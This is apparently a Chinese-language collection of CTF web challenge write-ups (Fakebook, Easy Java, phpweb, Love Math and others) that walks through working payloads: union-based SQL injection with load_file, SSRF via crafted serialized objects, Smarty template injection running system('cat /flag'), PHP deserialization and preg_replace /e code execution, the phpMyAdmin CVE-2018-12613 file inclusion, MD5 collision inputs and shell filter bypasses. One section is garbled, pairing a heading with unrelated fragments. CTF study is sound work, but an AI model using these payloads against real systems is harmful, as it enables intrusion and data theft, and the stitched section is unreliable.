[网鼎杯 2018]Fakebook

题目

image-20230406145253672

访问robots.txt得到下面内容

image-20230406145322985

访问下载下来得到一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

image-20230406145503826

这里存在一个ssrf

就是curl_exec使用不当会导致ssrf,然后我们回到首页,注册一个账号,然后点进去后,发现有一个类似sql注入的东西

image-20230406145655942

然后就怀疑这里会不会存在sql注入

于是尝试手工注入:

?no = 1 and 1=1  //回显正常

?no = 1 and 1=2  //错误回显

铁定数字型注入,于是我们看看表中有多少列,确定一下列数,

?no = 1 order by 3    //正常

?no = 1 order by 4    //正常

?no = 1 order by 5    //错误

所以确定列数,有4列

于是我们尝试union联合注入:

?no = -1 union select 1,2,3,4—+

img

结果有这么一段话,被发现了。

然后,通过大佬wp中发现,过滤了union select (这里过滤的不是单个,而是整个进行了过滤)所以可以用下面的方式进行绕过

可以用过union/**/select绕过

于是我们再次构造payload:

?no = -1 union/**/select 1,2,3,4—+

image-20230406150007353

回显位是username,然后还发现了一下错误信息,/var/www/html/view.php刚才扫目录得知flag.php也在这个目录中。

然后我们开始查数据库和数据库信息

?no=-1 union/**/select 1,database(),3,4—+  //数据库名

image-20230406150253089

?no=-1 union/**/select 1,user(),3,4—+    //数据库信息

image-20230406150330888

是root用户

发现居然是root权限,那我们知道有一个load_file()函数可以利用绝对路径去加载一个文件,于是我们利用一下

load_file(file_name):file_name是一个完整的路径,于是我们直接用var/www/html/flag.php路径去访问一下这个文件

?no=-1 union/**/select 1,load_file(“/var/www/html/flag.php”),3,4—+

image-20230406150538443

这是非预期解

接下来是预期解

爆数据库表

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()—+

image-20230406150702385

获得一张users表

然后爆字段名:

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=’users’—+

image-20230406150734818

这里面no,username,password我们都知道是什么,就data有点猫腻,于是我们查看它一下,于是我们爆data内容:

?no=-1 union//select//1,group_concat(no,’~’,username,’~’,passwd,’~’,data),3,4//from//fakebook.users

image-20230406150941192

是一个序列化后的值,然后结合我们上面获得到的源码来进行分析

就是可以控制博客的值来进行ssrf

poc

1
2
3
4
5
6
7
8
9
10
11
<?php
class UserInfo
{
public $name = "admin";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";

}
$res = new UserInfo();
echo serialize($res);

payload

1
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

根据之前的注入可知,有回显的是第二位,也就是username字段,data对应应该就是第四个字段为,将反序列化字符串尝试以注入的方式写入

image-20230406151427472

对下面的东西进行base64编码就行了

[RoarCTF 2019]Easy Java

这篇文章讲了源码泄露的例子

题目

image-20230406151807004

登录框是弱密码

admin/admin888

image-20230406152326149

发现没啥东西,然后点击下面的help的话,就会出现这个东西

image-20230406152427782

并且它的url也很有意思,貌似可以下载文件

发现get不行

试试post

image-20230406152628037

可进行文件的下载

image-20230406152653573

打开后啥也没有,尝试去看看会不会存在源码泄露

image-20230406152737617

存在源码泄露

image-20230406152823449

这像是文件存放的路径

读取FlagController.class

1
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

这个路径的话写过java的就能懂了

image-20230406153211962

下载文件后就可以拿到flag了

image-20230406153311897

把文件内的编码进行base64解码就行了

[BJDCTF2020]The mystery of ip

题目

image-20230406153757995

打开界面,转到flag下面,发现展示我IP的一个界面,看到这个就突然想到了 X-Forwarded-For

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。说白了就是检测外来接入的IP地址的东西,之前做题目的时候经常会遇到限制只能用默写特定的ip访问的题目,抓包之后改他就对了。

进入环境,发现还是那个熟悉的页面,hint里给我们提示了ip,在flag.php那里尝试xff头,发现成功回显,说明回显的点在xff头那里。猜测是SSTI。

image-20230406155110102

确实是成功修改了

image-20230406155146646

返回了49,说明不是jinja2的ssti

image-20230406155308230

所以就通过判断来确定是上面的哪种类型

img

就是通过这张图来判断ssti的类型

image-20230406192122449

由此来判断是smarty的ssti模板注入

smarty ssti

知道了之后就直接写payload

1
2
3
{if system("cat /flag")}{/if}
or
{system("cat /flag")}

能使用通配符

[网鼎杯 2020 朱雀组]phpweb

题目

image-20230406193358450

这里给了个date()函数,然后下面就出现个时间,但还是不知道有什么用

抓个包

image-20230406193537404

看到了这个东西,就猜测是func是函数,p是内容

那么我们就进行测试一下

image-20230406193705019

抓取到了源码

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

这里的话提供的这个类才是重点,不会进行过滤,可以直接用自己想用的函数

然后进行序列化,然后在用反序列化函数将命令进行执行

序列化代码(序列化之后注意将空格修改为+号,或者采用get方式进行传输):

1
2
3
4
5
6
7
8
9
<?php
class Test {
var $p = "find / -name flag*";
var $func = "system";
}
$test = new Test();
$str = serialize($test);
print($str);
?>

poc

1
2
3
4
5
6
7
8
9
<?php
class Test {
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}
$test = new Test();
$str = serialize($test);
print($str);
?>

然后使用反序列化函数进行反序列化

image-20230406194638777

完成绕过

还有一种解法

image-20230406194840536

\system可以绕过黑名单的原因:php内的” \ “在做代码执行的时候,会识别特殊字符串。

[BUUCTF 2018]Online Tool

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

REMOTE_ADDR 是你的客户端跟你的服务器“握手”时候的IP。如果使用了“匿名代理”,REMOTE_ADDR将显示代理服务器的IP。
HTTP_CLIENT_IP 是代理服务器发送的HTTP头。如果是“超级匿名代理”,则返回none值。同样,REMOTE_ADDR也会被替换为这个代理服务器的IP。
$_SERVER[‘REMOTE_ADDR’]; //访问端(有可能是用户,有可能是代理的)IP$_SERVER[‘HTTP_CLIENT_IP’]; //代理端的(有可能存在,可伪造)
$_SERVER[‘HTTP_X_FORWARDED_FOR’]; //用户是在哪个IP使用的代理(有可能存在,也可以伪造)

这篇文章讲的透彻

escapeshellarg()和escapeshellcmd()

直接找到了上面这篇文章,这两个函数在一起用会有些问题

这篇wp写的非常详细,我这里就不写了

对于这些转义字符和那两个函数执行的过程,认真看看就能明白了

image-20230406202802386

[GXYCTF2019]禁止套娃

题目

image-20230406202925322

没啥东西,但是扫目录的时候发现了

image-20230406203421874

这四个git东西,但是都下载下来没看到啥有用的信息,然后我们就去看看其相对应的工具来看看能不能拿到什么有用的信息

尝试使用 GitHack 看看是不是源码泄露

1
https://github.com/lijiejie/GitHack

image-20230406204017689

image-20230406204033529

image-20230406204049843

拿到了源码

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

image-20230406204529234

扒下了网站的源码
好了,现在就是代码审计了
最吸引眼球的就是 eval的一句话木马,题目又加了好多过滤限制了REC
首先是 php伪协议 data协议 filter协议 都不能使用了
然后该网站使用了正则匹配 其实这就是无参数的rce

如果如果’;’===pregreplace(…),那么就执行exp传递的命令
**(?R)? : (?R)代表当前表达式,就是这个(/[a-z,
]+((?R)?)/),所以会一直递归,?表示递归当前表达式0次或1次(若是(?R)则表示递归当前表达式0次或多次,例如它可以匹配a(b(c()d()))*

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))这个就是得要求传入的exp得全部杯匹配进行替换,替换只剩下 才行,和题目说的一样 —-> 套娃

无参数REC 一般有三种绕过姿势:

  • gettallheaders()
  • get_defined_vars()
  • session_id()
    具体可以参考博客

payload

1
exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))))
1
2
3
4
5
6
highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."。

原理

loacleconv 函数会固定返回一个 . 然后pos将我们获得的 .返回到我们构造的 payload 使得 scandir能够返回当前目录下的数组(换句话说,就是读出当前目录下的文件) rray_reverse()以相反的顺序输出(目的是以正序输出查询出来的内容)然后 next 提取第二个元素(将.过滤出去),最后用highlight_file()给显示出来。
image-20230406205415420

方法二
上面 的正则过滤中 其实并没有过滤掉 session_id()
所以我们可以使用 session_id来获取 flag
session_id() 可以用来获取/设置 当前会话 ID。
在我们使用 session_id()的时候 需要使用session_start()来开启session会话
我们尝试构造payload

1
?exp=highlight_file( session_id(session_start()));

session_id(session_start())
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。
image-20230406205748900

PHPSESSID来找到服务端的session文件,通过对这个session文件的读写操作即实现了session的超全局变量属性

[BJDCTF2020]ZJCTF,不过如此

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

这里我想到伪协议的原因是因为访问next.php的时候,访问不了,而且这里还是个include

payload

1
2
?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
data://text/plain,..(注意抓包的时候,$text参数里的空格是%20) 这个伪协议也行

image-20230406212130699

拿到了next.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

这里主要涉及到preg_replace的一个RCE漏洞 preg_replaceRCE

1
preg_replace( '/(' . $re . ')/ei','strtolower("\\1")', $str);

主要就是构造preg_replace('.*')/ei','strtolower("\\1")', {${此处填函数名}});
大概就是把所有字符替换为函数执行结果。
但是GET传.*=xxx会出问题,自动将第一个非法字符转化为下划线(看链接),所以构造:

1
http://755f7227-48c2-4d56-91a8-c2c6b5518680.node3.buuoj.cn/next.php?\S*=${eval($_POST[cmd])}

同时post一个cmd=system("cat /flag");

\S*表示连续匹配多个非空白字符

payload

1
?\S*=${getFlag()}&cmd=system('cat /flag');

[GWCTF 2019]我有一个数据库

题目

考点:phpadmin 4.8.1远程文件包含漏洞(CVE-2018-12613)

image-20230406225519111

这里扫目录扫出来phpmyadmin

image-20230406225757816

看到版本号

phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)

【首发】phpmyadmin4.8.1后台getshell

上面的两个链接是对这个漏洞的讲解,简单来说,就是这个漏洞的源文件(index.php)存在解码漏洞,源码内对url进行了?的分割,在分割前,又对参数进行了urldecode,且如果?号前面的文件就是taget在白名单里,就可以绕过,这样我们一是令target=db_sql.php,而是在传参使对?进行二次url编码,即?变为%253f

payload

1
url/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag

image-20230406230040730

[BJDCTF2020]Mark loves cat

题目

image-20230406230218432

是一个网站

扫一下网址发现/.git 然后猜测是不是git源码泄露

用GitHack来测试一下

发现存在源码泄露

image-20230406231502698

然后读取得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){    
$$x = $y ; //post 声明至当前文件
}

foreach($_GET as $x => $y){   
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){  //传入的变量为flag value不是flag
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;
}


exit 输出一条消息,并退出当前脚本

image-20230407204057358

我们进行代码审计 在这关我们绕过三个 if 函数 直接echo 明显不现实 所以突破点就是那三个 exit

1
2
3
4
5
6
上面我们要想绕过 需要

get中参数必须含有 $ x 同时$ x不能含有flag
存在get参数 或者 存在post参数
post参数恒等于 flag 或者 get参数恒等于 falg
当我们到达最后的时候fal也被重置了

可变变量:如果一个变量保存的值刚好是另外一个变量的名字,那么可以直接通过访问一个变量得到另外一个变量的值:在变量之前再多加一个 $ 符号

1
2
3
4
$a = 'b';
$b = 'bb';
echo $$a;
// 输出 bb 1.找到 $a,解析结果:b 2.找到$b,解析结果 bb

本关的核心代码为:

1
2
3
4
5
6
7
foreach($_POST as $x => $y){    
$$x = $y ; //post 声明至当前文件
}

foreach($_GET as x => $y){   
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值为键名的值
}

我们可以利用 foreach 进行变量重覆盖

在这一关可以执行输出内容地方有两个函数 exit 和 echo

第一个 exit(最后讲)

第二个 exit——覆盖 yds
我们的思路就是让flag变量覆盖到yds上,在执行exit($yds);
的时候输出flag

payload

1
?yds=flag
1
2
3
foreach($_GET as $x => $y){    
$$x = $$y; //GET型变量重新赋值为当前文件变量中以其值>为键名的值
}

他输出$yds。我们只需让$yds=$flag就好了
由于我们输入的变量是yds=flag
所以$x=yds $y=flag
$$x= $$y 所以 $yds=$flag
flag变量就是 我们要的东西
exit($yds)。就是echo $flag。

第三个——覆盖 is

payload

1
?is=flag&flag=flag

前半段和前面的方法原理相同,让flag覆盖is
后面的flag=flag—>$flag=$flag 目的是为了符合第三个if需求:($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag')
进而输出 flag

第一个——覆盖handsome

payload

1
?handsome=flag&flag=x&x=flag

handsome=flag不用说 就是让$handsome=$flag
后面的目的就是让我们传入的变量是 flag 值不是flag 进而能够exit handsome

这里的值表面是 x 但前面我们进行了变量覆盖使得 x=flag 所以在这里我们输出x的值就是flag的值

[安洵杯 2019]easy_web

题目

image-20230407205459073

发现他的url有点猫腻

image-20230407205741174

一个img一个cmd

把img里面的东西进行解码查看一下

image-20230407205834321

经过两次base64和一次16进制解码得到 那么我们可以尝试一下进行index.php的查看 逆着编码就行了

查看源码,并进行base64解码得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

通过源码解读,可以发现file参数的作用应该就是用来读这个源码的,下面应该用不到他了,现在主要就是传cmd参数和post的a和b。

首先是cmd参数的过滤问题,他过滤了我所知道的所有能查看文件的命令,所以这个地方能绕过就更好了,实际上这的确是可以绕过的。

能绕过的关键就出在反斜杠上,上测试结果就知道了。

本地测试代码

1
2
3
4
5
6
7
8
9
<?
$cmd = $_GET['cmd'];
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
echo $cmd;
}
?>

传参的内容及结果:

1
2
3
4
5
6
7
8
?cmd=ls
forbid ~

?cmd=l\s
l\s

?cmd=\
\

对反斜杠不进行禁止,在linux中反斜杠也不影响命令的执行

image-20230407210831767

这样,前面的反斜杠可以绕过检测,后面反斜杠还不影响命令的正常执行,那这不就等于过滤了个寂寞嘛。

过了preg_match的检测,最后一步就是过md5的强碰撞了,也就是本题的核心。

之前做的md5的题也用了md5的强碰撞(准确来讲应该叫强比较),当时是用传数组的方法通过检测的,而现在不可以这样做了,因为他多了一步强转的操作,这步操作就会使数组失效,所以得找工具或者找别人提供的可以进行md5强碰撞的内容来测试了。

这里找到两种版本,用谁都一样(仔细观察可以发现他两是一样的)

1
2
3
4
5
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这里得需要用burpsuit来传参

image-20230407211239049

成功拿到flag

[WUSTCTF2020]朴实无华

题目

image-20230407211403556

扫目录发现robots.txt文件

image-20230407211447353

发现有个php文件

image-20230407211509028

和名字是一样的,是一个假的flag

然后对这个页面进行抓包查看一下

image-20230407211626979

发现回应头有个文件

image-20230407211709477

读到了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>

就是绕过if判断

level1

进行分析level 1发现是intval函数,此函数在处理数据时会在接触到字符串时停止,因此如果输入100e2之类的数据,会解释称100,但后面在执行+1时,100e2是解释称10000的,因此此处使用100e2绕过

level2

进行分析level 2发现是md5的弱类型比较,==在比较数据的时候会进行类型的转换,因此只需要查找这种数据就行,此处采用:0e215962017,结果如下:

类型转化后两个都为0,所以相等

level3

image-20230407212708516

strstr 的意思

image-20230407212749188

第三处过滤,对cat和空格进行过滤,因此先采用ls或dir来获取目录信息

payload

1
/fl4g.php?num=100e2&md5=0e215962017&get_flag=ca\t$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

题目

以Twig模板为例浅学一手SSTI

image-20230407213346332

在flag页面进行尝试的时候发现,这个模板是 Twig 模板引擎

也就是说是考查ssti的

尝试RCE ,发现似乎会检测输入的内容

image-20230407213639935

题目提示是cookie,那我们就去cookie处看看

image-20230407213815921

那我们就尝试在user处进行RCE

image-20230407214049562

拿到flag

[强网杯 2019]高明的黑客

题目

image-20230407214558920

给了一个提示,说是网站源码

下载下来查看

足足有36万行代码

所以我们就得写个脚本来查看一下哪些是有用的了

这道题就是考察脚本的编写能力

大佬写的wp

看大佬写的就行了

[安洵杯 2019]easy_serialize_php

题目

image-20230407215924361

拿到源码

1
2
3
<?php

?> -oG 1.php'

测试后发现被拦截了,可能是PHP关键字被拦截了,也可能是oG被禁用了,先试着绕php,后缀可以将php改成phtml

文件的内容<?php ?> -oG 1.phtml ‘

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

进行了escapeshellarg()与escapeshellcmd()函数处理保护,没法产生文件

这就是为什么要加引号的原因

这和之前的一题有点像





## [MRCTF2020]PYWebsite

题目

![image-20230408213950745](../images/image-20230408213950745.png)



查看源码发现

```javascript
function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}

}

然后就直接去访问flag.php

image-20230408214236511

这两点进行了提示

image-20230408214359417

最后拿到了flag

[NPUCTF2020]ReadlezPHP

题目

image-20230408214513042

image-20230408214635383

发现了题目给的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);


2023-04-08 01:46:38

这里话直接构造system(xxxx)的话是不行的,因为system被过滤了

首先这里需要利用assert函数,assert会判断应该表达式是否成立,返回true或false,is_numeric函数将检测变量是否为数字或数字字符串,代码如下

1
2
3
4
<?php
$a = "123";
echo assert(is_numeric($a));
?>

image-20230408215138117

phpinfo(true) 或者 phpinfo(1) 都是可以直接执行的 还有一个小知识点 phpinfo() 执行是会返回1的 也就是true

image-20230408215820893

也是会执行的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
echo serialize($c);

//if(isset($_GET['source'])){highlight_file(__FILE__);die(0);}@$ppp = unserialize($_GET["data"]);
?>

[CISCN 2019 初赛]Love Math

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

这里和ctfshow里面的一道题几乎一模一样,就是考查利用函数的转化来进行做题

就是使用GET逃逸来进行做题

80个字符比较少,想办法构造_[]都不能用,同时GET必须是大写,很难直接构造。

payload

1
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
1
2
3
4
